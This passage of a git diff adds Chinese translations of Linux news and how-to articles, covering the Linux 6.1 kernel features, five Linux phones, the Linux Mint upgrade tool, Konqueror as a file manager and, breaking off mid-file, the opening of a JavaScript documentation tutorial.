+你可以在其 [公告][2] 中找到更多技术细节。 + +#### 对 Rust 的实验性支持 + +![linux 6.1 rust][3] + +虽然我们预计这将发生在 Linux 内核 6.0,但它在 Linux 内核 6.1 中才出现,这将允许开发者用 Rust 编写内核代码。 + +#### 英特尔 Meteor Lake 的启用 + +![英特尔][4] + +英特尔的开源开发者一直在努力工作,为即将到来的 Meteor Lake 芯片提供初步支持。 + +它被称为英特尔的第一个 7 纳米微架构,开发人员已经向 DRM-next 推送了各种提交。 + +这些包括各种固件提交,对 Meteor Lake CPU 及其集成 GPU 的初步支持。 + +#### 对 AMD RDNA 3 图形的初始支持 + +![AMD][5] + +这段时间,AMD 一直在为 Linux 内核 6.1 添加 RDNA 3 图形架构的代码。 + +这包括对他们即将推出的 GPU 的支持和对他们之前的 GPU 产品的各种修复。 + +你可以通过 [这里][6] 查看完整的补丁列表。 + +#### 对 AMD 电脑的优化 + +![优化 AMD][7] + +AMD PMF(AMD 平台管理框架)已经被引入这个内核版本。 + +该驱动旨在为 AMD PC 更安静、更高效的运行提供支持。 + +它利用板载传感器与 AMD 的各种热能和功率内核驱动来实现这一目标。 + +#### 改进的 ARM SoC 支持 + +![arm soc][8] + +Linux 内核 6.1 带来了对 ARM SoC 的更多支持,例如: + +- 联发科 MT8186 +- 德州仪器 AM62A +- 恩智浦 i.MX8DXL +- 高通 IPQ8064 的各种变体 + +该内核还对一些智能手机提供了支持,如 PINE64 PinePhone Pro、索尼 Xperia 1 IV 和三星 Galaxy E5/E7/Grand Max。 + +#### 存储的改进 + +内核在存储方面有很多改进。 + +例如,Btrfs 在这次更新中带来了异步缓冲写入,提供了超过 2 倍的吞吐量。 + +然后是对 EXT4 的改进,包括性能优化和一些错误修复。 + +与此同时,[EROFS][9] 为 Linux 内核 6.1 引入了基于 FSCache 的共享域支持。 + +#### 🛠️ 其他改进措施 + +这些并不是 Linux 内核 6.1 提供的唯一改进,以下是其他一些值得注意的改进: + +- 对微软 Surface Pro 9 和 Surface Laptop 5 的支持。 +- 启用 AMD Zen 4 LbrExtV2。 +- AMD CPU “缓存到缓存”和内存报告功能。 +- 引入 AMD IOMMU v2。 +- 为 Wi-Fi 802.11be/Wi-Fi 7 做准备。 + +### 如何安装 Linux 内核 6.1? + +如果你使用基于 Arch 的发行版或 Fedora,你可以轻松升级。 + +不幸的是,如果你使用其他 Linux 发行版(Pop!_OS 和 Linux Lite 在某种程度上可以是个例外),你可能无法直接从发行版中获得升级。 + +然而,几乎所有的 Linux 发行版都明确地允许你安装最新的内核。这里有一个关于 Ubuntu 的指南👇 + +> **[如何在 Ubuntu 中安装最新的主线 Linux 内核版本](https://itsfoss.com/upgrade-linux-kernel-ubuntu/)** + +所以,如果你乐于冒险(并且知道自己在做什么),你可以在 [Linux 内核档案][10] 上找到列出的较新的内核。你可以下载 [tarball][11] 来测试它。 + +然而,像往常一样,如果你不想冒任何风险,我们建议等待你的 Linux 发行版推送更新。最好是坚持使用你的 Linux 发行版默认提供的东西。 + +> **[下载 Linux 6.1][12]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-6-1-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/linux-kernel-6-1-release.png +[2]: https://lore.kernel.org/lkml/CAHk-=wj_HcgFZNyZHTLJ7qC2613zphKDtLh6ndciwopZRfH0aQ@mail.gmail.com/T/#u +[3]: https://news.itsfoss.com/content/images/2022/12/linux-6-1-rust.png +[4]: https://news.itsfoss.com/content/images/2022/12/intel-meteor.png +[5]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3.png +[6]: https://lists.freedesktop.org/archives/dri-devel/2022-September/373430.html +[7]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3--1-.png +[8]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3--2-.png +[9]: https://en.wikipedia.org/wiki/EROFS +[10]: https://www.kernel.org/ +[11]: https://git.kernel.org/torvalds/t/linux-6.1.tar.gz +[12]: https://www.kernel.org diff --git a/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md b/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md new file mode 100644 index 0000000000..7673c4a30d --- /dev/null +++ b/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md @@ -0,0 +1,229 @@ +[#]: subject: "5 Best Linux Phones to Watch Out for in 2023" +[#]: via: "https://www.debugpoint.com/best-linux-phones/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15371-1.html" + +2023 年值得期待的 5 款最佳 Linux 手机 +====== + +![][0] + +> 以下是一份可能在 2023 年成为主流的最佳 Linux 手机榜单,并介绍了各个 Linux 手机的特点和价格。 + +安卓和 iOS 智能手机是世界上最流行的手机。然而,还有许多人都想要更“开放”、且**在隐私方面做得更好的手机**。如果你使用安卓手机,那么你就是放弃了你的隐私。在个人隐私保护方面,苹果的 iOS 手机表现得要好一点,但它也仅提供了有限的隐私保护。 + +这就是现在 Linux 手机变得很流行的原因,因为它们为开发者和终端用户提供了许多选择。虽然目前有各种类型的 Linux 手机,但是要选择最好的 Linux 手机仍然令人困惑。从 2022 年的趋势来看,以下是一些可能在 2023 年成为主流的 Linux 手机。 + +### 关于 Linux 手机,你需要知道的事情 + +当你浏览或者计划购买一部 Linux 手机之前,你应该先了解以下关于 Linux 手机的事情: + +- Linux 手机使用的是主流 Linux 发行版的修改版,它有一个适合手机的桌面环境。这对今天的大多数手机(例如安卓、苹果 iOS)来说,也是类似的。 +- 如果你打算买一部 Linux 手机,并将其作为你日常所使用的手机的话,请不要太期待这个 Linux 手机。因为 Linux 手机的操作系统、功能和应用生态系统仍处于早期发展阶段,远远比不上与安卓或 iOS 手机。 +- 然而,Linux 手机的操作系统提供了最好的隐私功能,这会成为你想要出手买一部 Linux 手机的原因。 + +### 最好的 Linux 手机 + +#### 1、Librem🥇 + +**Purism** 公司是 Linux 手机市场上一个相当著名的品牌。Purism 公司推出的 **Librem 5 Linux** 智能手机支持 **PureOS**。PureOS 是一个专为 Linux 手机设计的操作系统,不基于安卓或 iOS 系统,它是一个原生设计的自由开源的操作系统;它还支持 融合 convergence ,这意味着你可以通过 USB 集线器将手机插入电脑显示器,并将其作为一个桌面操作系统使用🆒。 + +这款手机拥有优质的硬件和手感,还十分注重安全和隐私。但是,这款令人印象深刻的智能手机价格有点贵,售价为 1299 美元💔。 + +Librem 5 Linux 的主要特点和规格: + +- 完全的自由开源,基于 Linux 的移动操作系统:PureOS +- 拥有独立的调制解调器、Wi-Fi 和蓝牙芯片 +- 拥有 3 个专门的硬件键,来启用和禁用互联网、相机、Wi-Fi 和蓝牙 +- 拥有智能卡读卡器 +- 拥有 SD 卡读卡器 +- 电池可更换 + +![Librem 5][1] + +| 规格 | 描述 | +| :- | :- | +| **屏幕** | 5.7 英寸(IPS TFT 720×1440) | +| **内存** | 3 GB | +| **存储** | 32 GB eMMC | +| **电池容量** | 4500 mAh | +| **CPU** | NXP i.MX 8M QUAD CORE Cortex-A53(四核),64 位 ARM,最高主频为 1.5GHz | +| **GPU** | Vivante GC7000 Lite | +| **屏幕** | 5.7 英寸,IPS TFT,720×1440 像素 | +| **摄像头** | 带 LED 闪光灯的 1300 万像素(后置)摄像头和 800 万像素(前置)摄像头 | +| **USB 接口** | Type C 接口 | + +有点兴趣?你可以进一步浏览 [Librem 5 的购买官网][2]。 + +#### 2、Pinephone🥈 + +Linux 手机榜单的第 2 名是 **Pinephone**。Pinephone 也许是市场上最完善、最实用的 Linux 手机了。它由 **Pine64** 公司开发,具有出色的功能,并是支持多种 Linux ARM 的移动发行版。 + +此外,PinePhone 同时有很多个版本,其中包括专业版本。PinePhone 的价格比较便宜,并且十分注重用户的隐私和可扩展性,如果你是第一次使用 Linux 手机,PinePhone 将会是一个不错的选择😌。 + +Pinephone 的主要特点和规格: + +- 支持的操作系统有 KDE Plasma mobile、Manjaro mobile、Sailfish OS 和 Ubuntu touch。 +- 配备启用和禁用 LTE、摄像头、Wifi/BT 和麦克风的 5 个开关 +- 可启动的 microSD 和 16GB/32GB eMMC 的内存空间 +- Type C 接口(可用于电源、数据和视频输出) +- 拥有 6 个 Pogo 引脚,允许自定义硬件扩展,如热像仪、无线充电、NFC、扩展电池盒或键盘盒。 +- 拥有 3.5 毫米耳机插孔 +- 支持融合,可将其插到一台电脑上 +- 价格实惠,2 种型号的售价分别为 149 美元和 199 美元起 + +![Pinephone][3] + +| 规格 | 描述 | +| :- | :- | +| **屏幕** | 5.95 英寸,高清 IPS 电容式触摸屏 | +| **CPU** | Allwinner A64 ARM QUAD Core Cortex-A53(四核),64 位 | +| **GPU** | Mali-400 MP2 | +| **内存** | 2 种型号:2GB 和 3GB LPDDR3 SDRAM | +| **存储** | 2 种型号:16GB and 32GB eMMC | +| **摄像头** | 500 万像素、1/4英寸、LED 闪光灯(后置)摄像头和 200 万像素、1/5英寸(前置)摄像头 | +| **电池** | 锂离子电池(容量为 2800 mAh) | +| **音频插孔** | 3.5 毫米 | + +想要入手你的第一部 Linux 手机?请进一步浏览 [Pinephone 的购买官网][4] 吧。 + +#### 3、Pro 1 X – F(X)tec🥉 + +[**Pro 1 X** – F(X)tec][5] 是一款提供各种操作系统选择的智能手机,因此它是 Linux 手机榜单中十分令人激动的一项产品。 + +Pro 1 X **支持各种操作系统**,例如 LineageOS、安卓、Ubuntu Touch 等。此外,一个**内置的滑出式键盘**使它看起来更加独特且十分有吸引力。 + +Pro 1 X 由伦敦的 **F(x)tec** 公司开发。它是 Linux 手机市场上新出的产品,很有前景。然而,这个手机还没有上市,计划在 2022 年 12 月开始发货。因此,你可能需要等待几天,才能看到别人对这部手机的评价。 + +![Pro 1 X][6] + +Pro 1 X 的主要特点和规格: + +- 首款基于 Linux 的、有内置滑出式的 QUERTY 键盘的智能手机 +- 支持 Ubuntu touch 操作系统,并有安卓选项 +- 已解锁的启动程序 +- 拥有 3.5 毫米耳机插孔 +- 拥有 AMOLED 显示屏 +- 128 GB 存储/6 GB 内存:售价为 829 美元起 +- 256 GB 存储/8 GB 内存:售价为 899 美元起 + +| 规格 | 描述 | +| :- | :- | +| **CPU** | Snapdragon 662 Qualcomm | +| **GPU** | Adreno 610 Qualcomm | +| **内存** | 2 种型号:6GB 和 8GB LPDDR4 | +| **存储** | 128 GB(可扩展至 2 TB) | +| **屏幕** | 5.99英寸,弧形边缘,Corning® Gorilla® Glass 3(分辨率为 2160 x 1080 像素的 AMOLED 显示屏) | +| **摄像头** | 1200 万像素 Sony IMX363(后置)摄像头和800万像素(前置)摄像头 | +| **电池容量** | 3200 mAh | +| **音频插孔** | 3.5 毫米 | + +它的内置滑出式键盘是否吸引了你?去 [pro 1 x 的购买官网][5] 看看吧。 + +#### 4、Volla Phone + +[Volla Phone][7] 可以同时运行**两个操作系统:Ubuntu Touch 和 VollaOS**。 + +VollaOS 是一个安卓操作系统的修改版,没有谷歌专有的部分,同时也很注重用户的隐私;Ubuntu Touch 是一个流行的 Linux 手机发行版。 + +Volla Phone 的主要特点和规格: + +- 没有谷歌专有部分及其服务 +- 不依赖云计算 +- 加密的设备存储 +- 使用安卓操作系统的修改版:Volla OS +- 支持的操作系统有 Ubuntu Touch,Manjaro,Sailfish OS +- 拥有 USB C 充电口 +- 拥有 3.5 毫米耳机插孔 +- 可以用指纹解锁 +- 拥有离线地图 + +![Volla Phone][8] + +| 规格 | 描述 | +| :- | :- | +| **CPU** | MediaTek Helio P23 | +| **GPU** | ARM Mali-G71 MP2  | +| **内存** | 4 GB DDR3 RAM | +| **存储** | 64 GB,eMMC | +| **屏幕** | 6.3 英寸,IPS,2340×1080 像素 | +| **摄像头** | 1600万像素带闪光灯的(后置)摄像头和1600万像素(前置)摄像头 | +| **电池容量** | 4700 mAh | +| **USB 接口** | Type C 接口和 3.5 毫米音频插孔 | + +这个手机看起来也很不错呢,不妨到 [Volla 的购买官网][9] 看看吧。 + +#### 5、Fairphone 4 + +[Fairphone 4][10] 是另一款具有模块化硬件的 Linux 智能手机。它支持 PostmarketOS 操作系统,并使用安卓操作系统的修改版本:FairPhone OS。这个手机的主要卖点是它的 模块化 modularity ,你可以替换手机的任何模块:你可以毫不费力地更换它的电池🔋;此外,不仅仅是更换电池,你还可以简单地用螺丝刀来更换它的显示屏等部件。 + +![][14] + +Fairphone 4 的规格: + +| 规格 | 描述 | +| :- | :- | +| **CPU** | Octa-Core Kryo 570(八核) | +| **内存** | 2 种型号:6GB 和 8GB | +| **存储** | 2 种型号:128GB 和 256GB | +| **GPU** | Adreno 619 | +| **屏幕** | 6.3 英寸,全高清,IPS | +| **摄像头** | 2 个 4800 万像素(后置)摄像头和 2500 万像素(前置)摄像头 | +| **电池** | 锂离子电池(容量为 3905 mAh)| +| **芯片组** | Qualcomm SM7225 Snapdragon 750G | + +进一步可浏览 [FairPhone 的购买官网][11]。 + +#### 是否有支持 Linux 操作系统的主流安卓手机呢? + +如果你不想购买上述现成的 Linux 手机,那么你也可以在**安卓手机**上使用 Linux 移动操作系统,因为安卓是基于 Linux 内核上修改的。因此,这些手机应该也能使用 Ubuntu Touch 或 PostmarketOS 操作系统。 + +- Google Pixel 3a/3a XL +- Sony Xperia X (F5121 & F5122) +- Google Nexus 5 +- OnePlus One +- 支持 Ubuntu Touch OS 操作系统的 [完整列表][12] +- Xiaomi Redmi 2 +- Xiaomi Mi Note 2 +- OnePlus GT +- OnePlus 6 +- 支持 PostmarketOS 操作系统的 [完整列表][13] + +### 结语 + +以上就是关于如今市场上最好的 Linux 手机的全部内容了。你可以从这些手机的官方网站上了解更多信息。因为手机的隐私保护在当下变得越来越重要了,我相信在未来会有越来越多的人使用 Linux 手机。 + +诚然,Linux 手机本身的功能及其操作系统比不上安卓和苹果 iOS 手机。但是,对于 Linux 手机来说,更重要的是它的标准的设立、全球购买的可行性、在这一新兴市场的低入门价格以及对 Linux 手机应用生态系统的大力投资。在 Linux 手机的生态系统中需要更简化的界面,没有简单的界面,Linux 手机将变得更加零散,就像台式机一样。Linux 手机的制造商还需要和自由及开源软件(FOSS)参与者一起合作,最终才能使 Linux 手机广受欢迎。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-linux-phones/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/12/Librem-5-image2.jpg +[2]: https://puri.sm/products/librem-5/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/12/Pinephone.jpg +[4]: https://pine64.com/product-category/pinephone +[5]: https://www.fxtec.com/pro1x +[6]: https://www.debugpoint.com/wp-content/uploads/2022/12/Pro-1-X.jpg +[7]: https://volla.online/de/index.html +[8]: https://www.debugpoint.com/wp-content/uploads/2022/12/Volla-Phone.jpg +[9]: https://volla.online/de/shop/ +[10]: https://shop.fairphone.com/en/buy-fairphone-4 +[11]: https://shop.fairphone.com/ +[12]: https://devices.ubuntu-touch.io/ +[13]: https://wiki.postmarketos.org/wiki/Devices +[0]: https://img.linux.net.cn/data/attachment/album/202212/22/145904l88upudto8u7y3ui.jpg +[14]: https://img.linux.net.cn/data/attachment/album/202212/22/150220zuowaoguya3azajw.jpg \ No newline at end of file diff --git a/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md b/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md new file mode 100644 index 0000000000..23a4212934 --- /dev/null +++ b/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md @@ -0,0 +1,109 @@ +[#]: subject: "Linux Mint Upgrade Tool: Usage Guide" +[#]: via: "https://www.debugpoint.com/mint-upgrade-tool/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15372-1.html" + +Linux Mint 升级工具使用指南 +====== + +![][0] + +> 以下是如何使用 Mint 升级工具升级到新的 Linux Mint 版本,即带有实际升级过程截图的 mintupgrade GUI。 + +如果你正在寻找最近发布的 **Linux Mint 21 Vanessa** 的**详细升级**步骤,请阅读本指南👉 + +> **[从 Linux Mint 20.3 升级到 21][1]** + +### Linux Mint 升级工具 + +Linux Mint 团队 [宣布][2] 在几个月前,他们构建了一个新的程序来升级 Linux Mint 的主要版本。它被称为 “mintupgrade2”。现在开发已经完成,目前正在支持和计划升级到主要版本,例如 Linux Mint 20 到 21,而不是小版本升级。 + +尽管你可以使用标准的 `apt` 命令升级版本,但 Mint 团队认为重大版本升级是棘手的。新用户很难进行无缝升级,因为它涉及终端和一系列复杂的命令步骤。 + +此外,该图形界面是一个封装器,为 `mintupgrade` 程序带来了更多功能,它带来了一组系统前检查和带有一键修复的升级过程。 + +此外,`mintupgrade` 会进行基本检查,比如你是否连接到电源、系统是否是最新的、磁盘空间可用性等。 + +为了向你展示它的外观和工作情况,我们安装了一台 LMDE 4 测试机测试。 + +但在此之前,看一下它的功能集: + +- 完全由 GUI 驱动的升级过程 +- 多语言支持 +- 升级前检查:系统备份、电源、磁盘空间、已删除包列表 +- 可配置 +- 提醒你有关先前版本中的孤儿包 +- 它为你提供了解决问题的选项 + +### 它如何运作 + +当我们通过命令 `mintupgrade` 运行 Mint 升级程序时,GUI 友好的欢迎屏幕为你提供了一个很好的起点并开始升级过程。然后,它开始自己进行一系列检查。 + +![开始升级过程][3] + +除此之外,当它在你的系统中发现问题时,它会停止并为你提供足够的详细信息。单击“修复Fix”后,它可以再次恢复该过程。 + +不止如此,如果由于网络或互联网或任何其他问题而中断,它可以恢复升级过程。 + +这个程序在我们的测试过程中在我们的测试系统中发现了以下错误,并且只需单击一下即可修复它们。 + +![Apt 缓存检查][4] + +![Mint Upgrade 检测到系统快照不存在][5] + +![检查孤立包][6] + +![升级前状态][7] + +![Mint Upgrade 可以检测需要降级的包][8] + +最后,我们成功地将测试系统从 LMDE 4 升级到 LMDE 5。 + +![升级完成][9] + +#### 如何获取此升级程序 + +使用以下命令可以轻松安装该程序。但是,如果你正在运行最新版本的 Linux Mint 21,它应该已经安装并尝试从终端运行 mintupgrade。 + +``` +sudo apt update +``` + +``` +sudo apt install mintupgrade +``` + +### 结束语 + +最后,我认为它是 Linux Mint 团队最好的程序之一。正如你在上面看到的,它自己处理了许多错误。我所做的只是单击“修复”按钮。该程序足够智能,可以了解所有故障点并采取补救措施。 + +> **[GitHub 上的 mintupgrade 源码][10]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/mint-upgrade-tool/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/upgrade-linux-mint-21-from-20-3/ +[2]: https://www.debugpoint.com/2022/04/linux-mint-21-announcement/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/Starting-the-upgrade-process.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Apt-Cache-check.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-detects-that-system-snapshots-not-present.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/04/Check-for-Orphan-Packages.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Status-before-upgrade.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-can-detect-the-packages-require-downgrade.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Upgrade-Complete.jpg +[10]: https://github.com/linuxmint/mintupgrade +[0]: https://img.linux.net.cn/data/attachment/album/202212/22/152601upz4gujhajauj5rj.jpg \ No newline at end of file diff --git a/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md b/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md new file mode 100644 index 0000000000..3bef7f1e58 --- /dev/null +++ b/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md @@ -0,0 +1,101 @@ +[#]: subject: "Try this Linux web browser as your file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-konqueror" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15392-1.html" + +试试这个 Linux 网络浏览器作为你的文件管理器 +====== + +![][0] + +> KDE Plasma 桌面将 Konqueror 列为网络浏览器,但它也是一个功能性的 Linux 文件管理器。 + +Konqueror 是 KDE Plasma 桌面的文件管理器和 Web 浏览器。在许多方面,Konqueror 定义了“网络透明度”,因为它适用于个人桌面。使用 Konqueror,你可以像浏览本地文件一样轻松地浏览远程网络文件(包括互联网本身,它实际上只是通过花哨的镜头查看的远程文件的集合)。有时需要进行一些配置和设置,具体取决于你需要访问的文件共享类型。但最终,通过 Konqueror 实现了即时访问你有权查看的所有数据的目标,这是其他文件管理器无法实现的。在其巅峰时期,它开发的开源网络引擎(KHTML) 被苹果和谷歌采用,并作为现代网络浏览和 Electron 应用开发的核心库延续至今。 + +今天,KDE Plasma 桌面将 Konqueror 作为网络浏览器。文件管理功能已正式转移到 [Dolphin][1],但 Konqueror 仍然能够完成这项工作。要获得完整和经典的 Konqueror 体验,你应该尝试 Plasma 桌面 3.x 的复刻 [TDE][2],但在本文中,我在 KDE Plasma 桌面版本 5 中使用 Konqueror。 + +### 安装 Konqueror + +如果你已经在运行 KDE Plasma 桌面,你可能已经安装了 Konqueror。如果没有,你可以从发行版软件仓库中安装它。在 Fedora、CentOS、Mageia、OpenMandriva 和类似软件上: + +``` +$ sudo dnf install -y konqueror konqueror-plugins +``` + +在 Debian、Linux Mint、Elementary 和类似软件上: + +``` +$ sudo apt install -y konqueror konqueror-plugins +``` + +![Image of Konqueror's file manager.][3] + +### 将 Konqueror 配置为文件管理器 + +Konqueror 最方便的功能是它除了是一个文件管理器之外,还是一个网络浏览器。至少,这在理论上是它最方便的功能。如果你没有将 Konqueror 用作网络浏览器,那么你可能不希望每个文件管理器窗口顶部都有 URL 区域或搜索引擎区域。 + +与大多数 KDE 应用一样,Konqueror 是高度可配置的。你可以重新定位并添加和删除工具栏、添加或删除按钮等。 + +要调整显示的工具栏,请启动 Konqueror 并转到 “设置Settings” 菜单并选择 “显示的工具栏Toolbars Shown”。主工具栏可能是你真正需要的文件管理工具栏。它是带有导航按钮的工具栏。但是,你甚至可能不需要它,只要你乐于使用键盘快捷键或使用 “Go” 菜单进行导航即可。 + +Konqueror 中的键盘导航与 Dolphin 中的相同: + +- `Alt + ←`:后退一步 +- `Alt + ↑`:移动到父目录 +- `Alt + Home`:转到主目录 + +### 侧边栏 + +要获得包含常用文件夹列表的侧边栏,请按 `F9` 或从 “设置Settings” 菜单中选择 “显示边栏Show Sidebar”。这会在 Konqueror 窗口的左侧添加一个按钮栏。单击 “Home” 图标以显示你的主目录的文件树。 + +![Image of Konqueror with a sidebar.][4] + +正如按钮栏所暗示的那样,此侧边栏可用于多种用途。你可以显示书签位置,你最近访问过的位置的历史,远程文件系统等。 + +### 应用 + +有些人习惯于应用菜单。它高效快捷,并且始终在同一个地方。其他人更喜欢从终端启动应用。 + +不过,还有另一种查看应用启动器的方法。Konqueror 的 “Go” 菜单允许你转到名为 “应用程序Applications” 的元位置,它按类别列出了应用程序启动器,就像文件管理器中的文件一样。 + +![Image of applications in Konqueror.][5] + +你也可以在 Dolphin 中看到这个,方法是在位置区域中手动输入 `applications:`,此外,Konqueror 提供了一个菜单选项,可以直接进入该位置。 + +### 网络文件夹 + +类似地,Konqueror 还提供了一个菜单选择进入网络文件夹。其中最好的网络文件夹是“互联网”,但“网络文件夹”是 HTTP 以外的网络协议的元位置。大多数远程位置需要一些设置,因为它们通常需要身份验证才能访问。它们中的大多数都可以通过 “系统设置System Settings” 进行配置,包括可通过蓝牙、SMB 或 CIFS、MTP 设备、Fish(通过 SSH 的文件系统)访问的文件系统,甚至是 Google Drive。 + +### 拆分视图 + +你可以将 Konqueror 窗口拆分为多个窗格,这样你就可以同时查看两个文件夹而无需打开两个窗口。有两种拆分选项:垂直拆分,一个窗格在左侧,另一个窗格在右侧;或者水平拆分,一个窗格在另一个窗格之上。 + +要分割 Konqueror 窗口,进入 “窗口Window” 菜单,选择 “左/右分割视图Split View Left/Right” 或 “上/下分割视图Spit View Top/Bottom”。每个窗格都是独立的,所以你可以在一个窗格中浏览,然后把文件从一个窗格拖到另一个窗格。 + +### 征服你的文件系统 + +Konqueror 不 _仅仅_ 是一个文件管理器,我认为 Plasma 桌面的开发者并不期望你把它作为你的主要文件管理器。在 “文件File” 菜单中甚至有一个选项可以在 **Dolphin** 中打开一个位置,这表明 Konqueror 是一个带有文件管理器组件的网络浏览器。但是,当你需要时,这个文件管理器组件是一个不错的功能。如果你不喜欢 Dolphin 提供的所有功能,Konqueror 可能是一个合适的替代品。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-konqueror + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/12/linux-file-manager-dolphin +[2]: https://opensource.com/article/19/12/linux-trinity-desktop-environment-tde +[3]: https://opensource.com/sites/default/files/2022-10/konqueror-filemanager.png +[4]: https://opensource.com/sites/default/files/2022-10/konqueror-sidebar.png +[5]: https://opensource.com/sites/default/files/2022-10/konqueror-applications.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/29/141332adtz8mb8m8h8z3d4.jpg \ No newline at end of file diff --git a/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md b/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md new file mode 100644 index 0000000000..b33db8f545 --- /dev/null +++ b/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md @@ -0,0 +1,243 @@ +[#]: subject: "Improve your documentation with JavaScript" +[#]: via: "https://opensource.com/article/22/12/dynamic-documentation-javascript" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15375-1.html" + +使用 JavaScript 增强你的文档 +====== + +![][0] + +> 让你的开源项目文档充满活力,从而吸引各种经验水平的用户。 + +开源软件项目通常拥有非常多样化的用户人群。有些用户非常擅长使用该系统,并且只需要很少的文档。对于这些实力派用户,文档只需要提供必要的提示,并且可以包含更多的技术信息,比如说在 Shell 中运行的命令行。有些用户可能只是初学者。这些用户需要更多的帮助来设置系统并学习如何使用它。 + +写一个同时适合这两个用户群体的文档是令人生畏的。网站文档需要在 “提供详细的技术信息” 和 “提供更多的概述和指导” 之间寻求一个平衡。这是一个很难找到的平衡。如果你的文档不能同时满足这两个用户人群,那么考虑一下另外一个选择 —— 动态文档。 + +探索在网页中添加一点 [JavaScript][1] 使用户可以选择自己想看的内容。 + +### 构建你的内容 + +你可以把例程添加的你的文档中需要同时满足 专家expert初学者novice 的地方。在这个例程中,我们可以使用一个虚构的名为 AwesmeProject 的音乐播放器。 + +你可以用 HTML 编写一个简短的安装文档,通过 HTML 的 class 功能同时为专家和初学者提供操作指南。 + +例如,你可以用下面的代码来为专家定义一个段落: + +``` +

+``` + +这同时指派了 “专家类” 和 “读者类”。你可以用下面的代码来为初学者创建一个相同的段落。 + +``` +

+``` + +完整的 HTML 文件同时包含初学者的段落和专家的段落。 + +``` + + + + + + +How to install the software + + + + +

How to install the software

+ +

Thanks for installing AwesomeProject! With AwesomeProject, +you can manage your music collection like a wizard.

+ +

But first, we need to install it:

+ +

You can install AwesomeProject from +source. Download the tar file, extract it, then run: +./configure ; make ; make install

+ +

AwesomeProject is available in +most Linux distributions. Check your graphical package manager and search for AwesomeProject to install it.

+ + + + +``` + +例子中的 HTML 文档没有与之关联的样式表,所以浏览器中会显示所有的段落。 + +![Image of html in black text.][2] + +我们可在文档中添加一些简单的样式来为 读者reader专家expert 或者 初学者novice 突出任何元素。为了使不同的文本更容易区分,让我们把读者类的背景颜色设置成米白色,专家类的字体颜色设置为深红色,初学者的字体颜色则设置为深蓝色。 + +``` + + + + + + +How to install the software + + + + + + + +

How to install the software

